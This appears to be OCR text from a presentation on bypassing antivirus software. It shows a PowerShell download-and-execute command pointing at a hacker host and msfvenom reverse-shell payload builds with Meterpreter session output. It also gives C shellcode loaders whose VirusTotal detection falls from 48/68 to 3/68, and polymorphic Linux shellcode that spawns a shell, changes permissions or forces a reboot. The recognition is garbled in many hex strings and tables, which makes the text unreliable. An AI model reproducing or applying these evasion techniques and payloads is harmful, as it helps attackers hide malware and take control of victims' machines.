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Antivirus

® Signature analyse
® Heuristic analyse
® Behavior analyse
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Shellcode




Shellcode

Local ( shellcode ) Buffer Overflow



Shellcode

Remote ( shellcode)

® TCP/IP
® Socket



Antivirus evasion techniques

Obfuscation
Polymorphism
Encryption
Sandbox detection
Process Injection



. Bypass with Obfuscation




Obfuscate with Powershell

ﬂ PowerShell




1. Powershell ( Invoke-Obfuscation
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HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool TUTORIAL

[*] Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU
[*] show options for payload to obfuscate SHOW OPTIONS, SHOW,OPTIONS
[*] Clear screen CLEAR, CLEAR-HOST,CLS

[*] Execute ObfuscatedCommand locally EXEC,EXECUTE, TEST,RUN

[*] Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD

[*] wWrite ObfuscatedCommand out to disk ouT

[*] Reset ALL obfuscation for ObfuscatedCommand RESET

[*] Undo LAST obfuscation for ObfuscatedCommand UNDO

[*] Go Back to previous obfuscation menu BACK,CD ..

[*] Quit Invoke-Obfuscation QUIT,EXIT

[*] Return to Home Menu HOME , MAIN

Choose one of the below options:

[*] TOKEN Obfuscate Powershell command Tokens

[*] STRING Obfuscate entire command as a String

[*] ENCODING Obfuscate entire command via Encoding

[*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)



1. Powershell ( Invoke-Obfuscation )

Out-CompressedCommand.ps1
Out-EncodedAsciiCommand. ps1
Out-EncodedBXORCommand.ps1
Out-EncodedBinaryCommand.ps1
Out-EncodedHexCommand.ps1

Out-EncodedOctalCommand.psi

Out-EncodedSpecialCharOnlyConm...
Out-EncodedWhitespaceCommand....
Out-ObfuscatedAst.ps1
Out-ObfuscatedStringCommand.ps1

Out-ObfuscatedTokenCommand.ps1

I I I

Out-PowerShellLauncher.ps1



2. Powershell ( Custom Obfuscation )

Escaping characters:

$a
$b

“http://malware.com/cybad.exe”
(‘h’+"ttp://ma’+’ lware.com/cybad.exe’)



2. Powershell ( Custom Obfuscation )

Encode strings:

powershell.exe -encodedCommand
ZABpAHIATAA1AGMAOgBcAHAAYQBzAHMAdwBVAHIAZABZACIAIAA=



2. Powershell ( Custom Obfuscation )

powershell.exe — exec bypass — C “IEX(New-0Object
Net.WebClient).DownloadString( "http://www.Hacker.com/tatilan.psl’)”



Obfuscate with Metasploit

root@kali: ~

File Edit View Search Terminal Help
msf exploit( ) > run —

[*] Started reverse TCP handler on 192.168.86.223:4444

[*] Sending stage (179779 bytes) to 192.168.86.61

[*] Meterpreter session 1 opened (192.168.86.223:4444 -> 192.168.86.61:49197) at
2018-05-29 11:48:32 -0400

meterpreter > shell
Process 3028 created.

Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\victim\Downloads>]]



1. Creating common malicious payload

root@~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.X
LPORT=443 -f exe > /root/pwn/antivirus.exe

[-] No platform was selected, choosing
Msf::Module::Platform: :Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload

Payload size: 324 bytes
Final size of exe file: 73802 bytes



1. Virustotal scanning result (

48 engines detected this file

. SHA-256 ebf62a6140591b6ccf81035a7f06b3a6580144cfa5a9de0ad49dd323c4513ee3
EXE File name av.exe
File size 72.07 KB
Last analysis  2018-09-29 12:31:15 UTC
48 / 68 :
Detection Details Community
Ad-Aware A Trojan.CryptZ.Gen AhnLab-v3 A Trojan/Win32.5hellR1283
AlLYac A Trojan.CryptZ.Gen Arcabit A Trojan.CryptZ.Gen
Avast A Win32:SwPatch [Wrm)] AVG A Win32:5wPatch [Wrm]
Avira A TR/Crypt.EPACK.Gen2 AVware A Trojan.Win32.Swrort.B (v)
BitDefender A Trojan.CryptZ.Gen Bkav A W32 FamVT.RorenNHc. Trojan
CAT-QuickHeal A Trojan.Swrort. A ClamAv A Win.Trojan.M55hellcode-7



2. Creating payload with Template

@/usr/share/metasploit-framework/data/templates/src/pe/exe#

root@/usr/share/metasploit-framework/data/templates/src/pe/exe#
1686-wb64-mingw32-gcc template.c -1lws2_32 -o avbypass.exe



2. Creating payload with Template

root@ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.X
LPORT=443 -x /usr/share/metasploit-
framework/data/templates/src/pe/exe/avbypass.exe -f exe >
/root/tools/avbypass.exe

[-] No platform was selected, choosing
Msf::Module: :Platform: :Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes

Final size of exe file: 363382 bytes



2. Virustotal scanning result ( 36/68)

36 engines detected this file

SHA-256 £311065c151bdd98efc3c413016a7817f6089585e7959121007dd993230c530bd

File name avbypass.exe

File size 354.87 KB

Last analysis 2018-09-2912:57:46 UTC
36 /68 :

Detection Details Community
Ad-Aware A Generic.RozenaA.90B72150 AegisLab A TrojW32.Gen.IB6l
AlLYac A Generic.RozenaA.90B72150 Arcabit A Generic.RozenaA.90B72150

Avast A Win32:5wPatch [Wrm] AVG A Win32:swPatch [Wrm]




3. x86 binary ( custom)

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.X LPORT=443 -f c



3. x86 binary ( custom )

#include "stdafx.h"
#include "Windows.h"

int main()
{
unsigned char shellcode[] =

"\xbd\x85\x3b\x76\xa3\xda\xd8\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x31\x6b\x12\x83\xeb\xfc\x03\xee\x35\x94\x56\x0c\xal\xda"
"\x99\xec\x32\xbb\x10\x09\x03\xfb\x47\x5a\x34\xcb\x0c\x0e\xb9"
"\xa0\x41\xba\x4a\xc4\x4d\xcd\xfb\x63\xa8\xe®\xfc\xd8\x88\x63"
"\x7f\x23\xdd\x43\xbe\xec\x10\x82\x87\x11\xd8\xd6\x50\x5d\x4f"
"\xc6\xd5\x2b\x4c\x6d\xa5\xba\xd4\x92\x7e\xbc\xf5\x05\xf4\xe7"
"\xd5\xad4\xd9\x93\x5f \xbe\x3e\x99\x16\x35\xf4\x55\xa9\x9f\xc4"
"\x96\x06\xde\xe8\x64\x56\x27\xce\x96\x2d\x51\x2c\x2a\x36\xa6"
"\x4e\xf0\xb3\x3c\xe8\x73\x63\x98\x08\x57\xf2\x6b\x06\x1c\x70"
"\x33\x0b\xa3\x55\x48\x37\x28\x58\x9e\xb1\x6a\x7f\x3a\x99\x29"
"\x1e\x1b\x47\x9f\x1f\x7b\x28\x40\xba\xf0\xc5\x95\xb7\x5b\x82"
"\x5a\xfa\x63\x52\xf5\x8d\x10\x60\x5a\x26\xbe\xc8\x13\xe0\x39"
"\x2e\x0e\x54\xd5\xd1\xb1\xa5\xfc\x15\xe5\xf5\x96\xbc\x86\x9d"

"\x66\x40\x53\x31\x36\xee\x0c\xf2\xe6\x4e\xfd\x9a\xec\x40\x22"
“\xba\x0f\x8b\x4b\x51\xea\x5c\x7e\xa6\xf4\x99\x16\xad\xf4\xa0"
"\x5d\x21\x12\xc8\xb1\x64\x8d\x65\x2b\x2d\x45\x17\xb4\xfb\x20"
"\x17\x3e\x08\xd5\xd6\xb7\x65\xc5\x8F\x37\x30\xb7\x06\x47\xee"
"\xdf\xc5\xda\x75\x1f\x83\xc6\x21\x48\xc4\x39\x38\x1c\xf8\x60"
"\x92\x02\x01\xf4\xdd\x86\xde\xc5\xe0\x07\x92\x72\xc7\x17\x6a"
"\x7a\x43\x43\x22\x2d\x1d\x3d\x84\x87\xef\x97\x5e\x7b\xa6\x7f"
"\x26\xb7\x79\xf9\x27\x92\x0f\xe5\x96\x4b\x56\x1a\x16\x1c\x5e"
"\x63\x4a\xbc\xal\xbe\xce\xcc\xeb\xe2\x67\x45\xb2\x77\x3a\x08"
BAVEIAVEVAVLAVE VI AV IAV{PAVIPAVE AV EEAV VAV TAVETAVG AV
"\x9f\x34\xde\x2a\xa0\x1c";

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

memcpy(exec, shellcode, sizeof shellcode);

((void(*)())exec)();

return 0;



3. Virustotal scanning result ( 8/68)

8 engines detected this file o

HA-256 fadfceb473a878a3751513bacb4d44eed60391ce1ab68edb5337d4859e767335
File name inject1.exe
File size 37.5 KB
Last analysis 2018-09-29 15:35:21 UTC

Detection Details Community

ClamAv Win.Trojan.MSShe 63607 CrowdStrike Falcon alicious_confidence_100% (D)

Cylance Unsafe Endgame cious thigh confidence)

ESET-NOD32 a variant of Win32/Rozena.ED McAfee-GW-Edition BehavesLike.Win32.Kudj.nt

Malware.Heuristic!ET#80%

(RDM+:xcmRtazrZclHS+1ammyZ5MP...

Rising VBA32 BScope.Trojan.Meterpreter

Ad-Aware an AegisLab

AhnLab-V3 Alibaba

AlYac Antiy-AVL

A
A
A
A
V]
V]
V]
V]

Q0P dPPP

Arcabit Avast




3. x64 binary ( custom)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.X LPORT=443 -f ¢ -b \x00\x0a\x0d



3. x64 binary ( custom )

#include "stdafx.h"
#include "Windows.h"

int main()

unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xco\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xel\xec\x48\x31\x58"
"\x27\x48\x2d\xf8\xf f\xff\xff\xe2\xf4\xel\xf6\x21\x9f\xdb\x78"
"\x21\xec\x1d\xbe\xe3\x2a\x6a\xc@\xb3\xbd\x4b\xf6\x93\xa9\x4e"
"\xd8\x6a\xbe\x7d\xf6\x29\x29\x33\xd8\x6a\xbe\x3d\xf6\x29\x09"
"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xb1\x82\xc3"
"\x07\x29\xbc\xc1\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
"\xf3\x33\xa0\xc2\xc1\x67\x5f\x82\xea\x7a\xfb\x1b\x61\x64\x1d"
"\xbe\xa2\x33\xae\x50\x95\x8b\x55\xbf\x72\x2b\xa0\xd8\xf9\xa8"
"\x96\xfe\x82\x32\x2a\x40\x02\xba\x55\x41\x6b\x3a\xa0\xad\x69"
"\xad\x1c\x68\xef\x4a\xe2\xd8\xd®\x2c\xb1\xff\x63\xb2\x26\xd1"
"\xe@\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfb\x9b\xaa\x5e"
"\x48\xb9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xb2\xea\x3f"
"\xa@\xd@\xfd\xa5\x1c\x6e\xe3\xfO\x2f\x18\xa9\xed\xcd\xff\xfa"
"\x3a\x73\xce\xb8\xb6\x5c\xe6\xe3\x22\x6a\xca\xa9\x6f\xf1\x9%e"
"\xe3\x29\xd4\x70\xb9\xad\x44\xed\xea\xfO\x39\x79\xb6\x13\xe2"
"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xd1\xb7\xa5"
"\x94\x58\xea\xfa\xc7\x30\xed\xec\x1d\xf7\x2b\x9e\x62\x2c\xe3"

"\xec\x1c\x05\xa8\x7b\x2b\x95\xa0\xb8\x54\x37\x46\x37\xa2\x61"
"\xa®\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
"\x90\xb8\xad\xa7\x97\x22\x10\x2b\x6f\x34\xbc\x4d\xf3\x93\xb2"
"\x66\xal\x21\xad\xe2\x7e\xea\xf2\xe9\xd8\x1le\x2c\x55\x37\x63"
"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f \xf1\x1e\x39\x55"
"\x3f\x66\x3b\x29\x90\xel\xa5\xa5\xdd\xcf\x1f\x2b\x90\xel\xec"
"\x1d\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\x1a\x50\x8b"
"\xel\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\x1d"
"\xa5\xc8\x05\x78\xa2\x13\x63\x19\x07\xba\x4d\xff\xf2\x3a\x7b"
"\xd1\xbl\xa5\xe2\x7e\xe3\x2b\x62\x6f\x29\xal\x94\x7f\xee\xf2"
"\xea\xd1\x5b\x95\xd1\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
"\xf@\x25\xd1\x5b\xed\x9a\xa3\xc2\x84\xfe\x2b\x11\x59\xbf\xe8"
"\xe3\xc1\x8d\x05\x5c\x71\xe2\x6b\xea\xf8\xef\xb8\xdd\xea\x61"
“\xb4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xb8\xad"
"\x94\x64\x5d\xae\x2b\x90\xel\xec";

void *exec = VirtualAlloc(®, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

return @;



3. Virustotal scanning result ( 3/68)

3 engines detected this file

d1431f479724822d6ccf8684a99598d966a9b5a964e7bd3886308a0217dea712
injectl.exe
64 KB

2018-09-29 15:09:22 UTC

Detection Details Community




4. Polymorphic shellcode creating
process ( Demo)




1. Executing /bin/sh/

xor %eax ,%eax
push  %eax

push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push  %eax

push  %ebx

mov %esp,%secx
mov $0xb,%al
int $0x80

Kk kkkkkkkkkkkkkkkkkkkkhkrkkkkrkkkkk

char *shellcode = "\x31\xcO\x50\x68\x2T\x2f\x73\x68\x68\x2T\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xel\xb0\x0b\xcd\x80" ;

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;

}




Original assembly code ( 23 bytes )

Xor eax, eax

push eax

push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp

push eax

push ebx

mov ecx, esp

mov al, Ox0b

int Ox80



Polymorphic assembly code ( 21 bytes )

Xor eax, eax

X0r ecx, ecx

push eax

push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp

mov al, Ox0b Ox0b in AL
int 0x80



Converting process

Enter the name of the ELF binary: bash_shell_execute
[+] The shellcode length is: 21

[+] The shellcode in hex string is:
31c031c9506821217368682162696e89e3b00bcd80

[+] The shellcode in byte string is:

\X31\xcO\x31\xc9\x50\x68\x2F\x2F\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\xb0\x0b\xcd\x80



Executing polymorphic shellcode

00
cd ~/Desktop/

> ./shellcode_loader 31c031c950682f21f7368682162696e89e3b00bcd80
The Shellcode Length is: 21
$ whoamt

fg0d



2. Create folder -> Take permission -> Exit

00
cd ~/Desktop/

> ./shellcode_loader 31c031c950682f21f7368682162696e89e3b00bcd80
The Shellcode Length is: 21
$ whoamt

fg0d



https://www.exploit-db.com/exploits/37358

#include <stdio.h>
#include <string.h>

char *shellcode =

"\ X31\XcO\ x50\ x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb
O\xOT\x66\xbI\xTfF\x01\xcd\x80\x31\xcO\x40\xcd\x80";

int main(void){

fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}



https://www.exploit-db.com/exploits/37358

o000

08048060 <.text>:
8048060: 31 cO Xxor %eax ,%eax
8048062: 50 push  %eax
8048063: 68 48 41 43 4b push $0x4b434148
#You can change it !
8048068: b0 27 mov $0x27,%al
804806a: 89 e3 mov %sesp,%ebx
804806¢: 66 41 inc %CX
804806e: cd 80 int $0x80
8048070 bd 0Of mov $0xf,%al
8048072: 66 b9 ff 01 mov $0x1ff,%cx
8048076: cd 80 int $0x80
8048078: 31 cO Xxor %eax,%eax
804807a: 40 inc %Seax

804807b: cd 80 int $0x80



Original assembly code

X0or eax, eax
push eax

push dword 0x4b434148
mov al, 0x27
mov ebx, esp
inc cx

int 0x80

mov al, Oxf
mov cx, Ox1ff
int 0x80

X0or eax, eax
inc eax

int 0x80



Polymorphic assembly code

X0r eax, eax
push eax

push dword 0x4b434148
mov al, 0x27
mov ebx, esp
int 0x80

mov al, Oxf
mov cX, Ox1ff
int 0x80

inc eax

int 0x80



Result

Original shellcode: 29 bytes
Polymorphic shellcode: 25 bytes
Size Reduction: 14%



Comparing

ord Ox4b434148
1. 0x27
° ° Lhc
Original 29 bytes
m a OxT
nov X, Ox1ff
int Ox80
int 0x80
XOr e ea
ush ea
pus iword 0x4b434148
mov al, 0x27
( J mov ebx, esp
Polymorphic o 25 bytes
mov al, Oxf
mov cx, Ox1f
int O0x80
inc eax



3. Force system

xor %eax ,%seax
push  %eax

push  $0x746f6162
push  $0x65722f6e
push  $0x6962732f
mov %esp ,%ebx
push  %eax

pushw $0x662d

mov %esp,%esi
push  %eax

push  %esti

push  %ebx

mov %esp,%ecx
mov $0xb,%al
int $0x80

reboot ( ASM code)




3. Force system reboot ( C code)

kkkkkkkkkkkhkkhkkkkkhkkhkkkhkkkkkkkhkkkkkhkkkkkkkkkkk

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xcO\x50\x68\x62\x6T\x6f\x74\x68\x6e"
"\Xx2TF\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
"\x89\xel\xb0\x0b\xcd\x80";

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(vold(*)()) shellcode)();

return 0;

}




Original assembly code ( 36 bytes )

Xor eax, eax
push eax

push 0x746T6T62
push 0x65722f6e
push 0x6962732f
mov ebx, esp
push eax

push word 0x662d
mov esi, esp
push eax

push esi

push ebx

mov ecx, esp
mov al, Oxb

int 0x80




Polymorphic assembly code ( 26 bytes )

X0r eax, eax

xor ebx, ebx

X0r ecx, ecx

cdq

mov al, 0x58

AL

mov ebx, Oxfeeldead
mov ecx, 672274793
mov edx, 0x1234567
in EDX

int 0x80



Result

Original shellcode: 36 bytes
Polymorphic shellcode: 26 bytes
Size Reduction: 28%



arch_prctl
adjtime
setrlimit

chroot

acct
settimeofday

mount

umount2

tname

omainname

ioperm
create_module
init module

delete_module

get kernel syms

query module

quotactl

nfsservctl

Additional info ( Linux syscall table

sys_chroot

ttimeofday
Sys_mount

sys_umount

tdomainname
stub_iopl

sys_ioperm

sys_init module

sys_delete module
NOT IMPLEMENTED
NOT IMPLEMENTED

sys_quotactl

NOT IMPLEMENTED




Additional info ( reboo

blob: f7440c0c7e434852a4139bbeb3ce5aadf1 7bb33b (plain)

SPDX-License-Identifi 2.8-only

m
=
T

[ T TR

w

8 | #define pr_fmt(fmt) "reboot: " fmt
18 | #include

11 | #include
12 | #include
13 | #include

4 | #include

15 | #include
16 | #include
17 | #include

18 | #include

19 | #include

28 | #include

22

23 this indicates whether you can reboot with ctrl-alt-del: the default is yes
24

25

26 | int C_A D = 1;

27 | struct pid ®cad_pid;

28 | EXPORT_SYMBOL (cad_pid);

30 | #if defined(CONFIG_ARM)

31 | #define DEFAULT_REBOOT_MODE = REBOOT_HARD
32 | #else

33 | #define DEFAULT_REBOOT_MODE

34 | #endif

35 | enum reboot_mode reboot_mode DEFAULT_REBOOT_MODE;

36 | enum reboot_mode panic_reboot_mode = REBOOT_UNDEFIMNED;

P

o]



Additional info

getgroups man/ cs/ 0x50 int gidsetsize gid_t *grouplist - -

setgroups man/ cs/f 0x51 int gidsetsize

gid_t *grouplist

not implemented Ox52

symlink man/ cs/ 0x53 const char *old const char *new - -

84 not implemented Ox54

85 readlink man/ cs/ 0x55 const char *path char *buf int bufsiz -

86 uselib man/ cs/ 0x56 const char *library - - -

87 swapan man/ cs/ Ox57 const char int swap_flags - -
*specialfile

it eboot M

29 not implemented 0x59

90 not implemented 0x5a

91 munmap man/ cs/ 0x5h unsigned long size_t len - -
addr

92 truncate man/ cs/ Ox5c const char *path long length - -

93 ftruncate man/ cs/ Ox5d unsigned int fd unsigned long - -

length



Windows syscall table

Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10)

Author: Mateusz "j00ru" Jurczyk (j00ru.vx tech blog)

See also: Windows System Call Tables in CSV/TISON formats on GitHub
Special thanks to: MeMek, Wandering Glitch

Layout by Metasploit Team

Enter the Syscall ID to highlight (hex):

| |
Show all || Hide all

Windows XP Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 5 L Windows 8
- N - - - erver 2012 -
System Call Symbol (hide) (hide) (hide) (hide) (hide) (i) (hide)

5P1 5P2 SPO 5P2 R2 R2 SP2| SPO 5P1 S5P2 SPO S5P2 R2 R2 SP1| SPO 5P1 SPO R2 8.0 8.1 1507
NtAcceptConnectPort 0x0060 | 0x0060 | 0x0060 | 0x0060 | 0x0060 | 0x0060 | 0x0060 | 0x0060 | 0x0050 | 0x0060 | 0x0060 | 0x0060 | 0x00560 | 0x0060 | 0x0050 | 0x0061 | Ox0001 | 0x0061 | 0x0001 | 0x0002
MNtAccessCheck 0x0061 | 0x0061 | 0x0061 | Ox0061 | Ox0061 | 0x0061 | Ox0061 | 0x0061 | 0x0061 | 0x0061 | Ox0061 | 0x0061 | 020061 | Ox0061 | 0x0051 | 0x0062 | Ox0062 | 0x0062 | 0x0062 | 0x0000
NtAccessCheckAndAuditAlarm 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | Ox0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0026 | 0x0027 | Ox0028 | 0x0027 | 0x0028 | 0x0029
MNtAccessCheckByType 0x0062 | 0x0062 | 0x0062 | Ox0062 | 0x0062 | 0x0062 | Ox0062 | 0x0062 | 0x0062 | 0x0062 | 0x0062 | 0x0062 | 0x0062 | O0x0062 | 0x0052 | 0x0063 | Ox0063 | 0x0063 | 0x0063 | 0x0063
MNtAccessCheckByTypeAndAuditalarm 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0056 | 0x0057 | Ox0058 | 0x0057 | 0x0058 | 0x0059
MNtAccessChecl BvapEResu!tList 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 020063 | 0x0063 | 0x0053 | 0x0064 | Ox0064 | 0x0064 | 0x0064 | 0x0064
MtAccessCheckByTypeResultlistAndAuditAlarm 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0054 | 0x0064 | 0x0064 | Ox0054 | 0x0054 | Ox0064 | 0x0054 | 0x0065 | Ox0065 | 0x0065 | 0x0065 | 0x0065
Nt&ccessCheckByTypeResultListAndAuditalarmByHandle 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | O0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 020065 | 0x0065 | 0x0055 | 0x0066 | Ox0066 | 0x0066 | 0x0066 | 0x0066
MNtAcquireCMFPViewOwnership 0x0066 | 0x0065 | 0x0066 | 0x0066 | Ox0065
MNtAcquireCrossVmMutant
MNtAcquireProcessActivityReference
NtaddAtom 0x0044 | 0x0044 | 0x0044 | Ox0044 | Ox0044 | 0x0044 | Ox0044 | 0x0044 | 0x0044 | 0x0044 | Ox0044 | 0x0044 | 00044 | Ox0044 | 00044 | 00045 | Ox0046 | 0x0045 | 0x0045 | 0x0047
MNtAddAtomEx 00067 | Ox0067 | 0x0067 | 0x0067 | 0x0067
NtAddBootEntry 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | O0x0066 | 0x0067 | 0x0067 | 0x0067 | 0x0067 | 0xD067 | Ox0066 | 00066 | 0x0066 | 0x0056 | 0x0068 | Ox0068 | 0x0068 | 0x0068 | 0x0068
MNtAddDriverEntry 0x0067 | 0x0067 | 0x0067 | Ox0067 | Ox00&67 | 0x0067 | Ox0068 | 0x0068 | 0x0068 | 0x0068 | Ox0068 | 0x0067 | 0x0067 | Ox0067 | 0x0057 | 00069 | Ox0069 | 0x0065 | 0x006% | 0x0069
MNtAdjustGroupsToken 0x0068 | 0x0068 | 0x0068 | 0x0068 | 0x0068 | Ox0068 | 0x0069 | 0x0065 | 0x0065 | 0x0069 | 0x0065 | Ox0068 | 000568 | 0x0068 | 0x0058 | 0x006a | Ox006a | Ox006a | 0x006a | 0x006a
MtAdjustPrivilegesToken 0x003e | 0x003e | 0x003e | 0x003e | Ox003e | 0x003e | 0x003e | 0x003e | 0x003e | 0x003e | Ox003e | 0x003e | 0x003e | 0x003e | 0x003e | Ox003f | Ox0040 | 0x003f | 0x0040 | 0x0041
MNtAdjustTokenClaimsAndDeviceGroups 0x006b | 0:006b | 0x006b | 0x006b | 0x006b




Reference

https://jOOru.vexillium.org/syscalls/nt/64/ ( windows syscall table )
https://filippo.io/linux-syscall-table/ ( linux syscall table )



Thank you , Happy Hacking
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